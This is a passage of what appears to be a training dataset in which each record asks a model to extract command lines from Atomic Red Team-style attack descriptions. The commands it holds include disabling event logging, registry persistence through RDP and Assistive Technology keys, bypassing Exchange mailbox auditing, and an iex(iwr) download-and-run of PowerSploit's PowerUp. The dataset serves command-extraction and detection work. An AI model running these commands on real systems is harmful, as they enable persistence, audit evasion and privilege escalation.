    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To update the DSRM account password by synchronizing with an existing domain account, use the following command: ntdsutil \"set dsrm password\" \"sync from domain account #{sync_account}\" \"q\" \"q\"",
    "output": "{\"command_list\": [\"ntdsutil \\\"set dsrm password\\\" \\\"sync from domain account #{sync_account}\\\" \\\"q\\\" \\\"q\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To capture packets with domain=AF_INET, type=SOCK_PACKET, and protocol=UDP for a few seconds, use the following command: sudo #{program_path} -4 -P -p 17 -t 3. Note that SOCK_PACKET is considered obsolete but still functions on Ubuntu 20.04.",
    "output": "{\"command_list\": [\"sudo #{program_path} -4 -P -p 17 -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can disable Eventlog by executing this Phant0m command: \"#{file_name}\"",
    "output": "{\"command_list\": [\"\\\"#{file_name}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A normal account can be created with admin privileges using the following LDAP command: echo \"dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\\nobjectClass: person\\ncn: Atomic User\\nsn: User\" > tempadmin.ldif\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\n",
    "output": "{\"command_list\": [\"echo \\\"dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\\\\nobjectClass: person\\\\ncn: Atomic User\\\\nsn: User\\\" > tempadmin.ldif\\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing commands including reconnaissance or privilege escalation via the SYSTEM account, NirCmd can be utilized with this command: cmd /c \"#{nircmd_location}\" #{command_to_execute}\n",
    "output": "{\"command_list\": [\"cmd /c \\\"#{nircmd_location}\\\" #{command_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Windows searches for the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd during RDP logins, where 'rdpclip' is the default value. An attacker can change this to run a malicious application via the command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\" /f /v StartupPrograms /t REG_SZ /d \"#{malicious_app}\"",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Wds\\\\rdpwd\\\" /f /v StartupPrograms /t REG_SZ /d \\\"#{malicious_app}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing registry-based code as an Assistive Technology, run the following commands: reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v StartEXE /t REG_SZ /d C:\\WINDOWS\\system32\\cmd.exe /f\natbroker /start malware_test",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v StartEXE /t REG_SZ /d C:\\\\WINDOWS\\\\system32\\\\cmd.exe /f\\natbroker /start malware_test\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass mailbox auditing and prevent logging entries for the target email, use the following Exchange Management Shell command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-MailboxAuditBypassAssociation -Identity \"#{target_email}\" -AuditBypassEnabled $true\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nSet-MailboxAuditBypassAssociation -Identity \\\"#{target_email}\\\" -AuditBypassEnabled $true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and 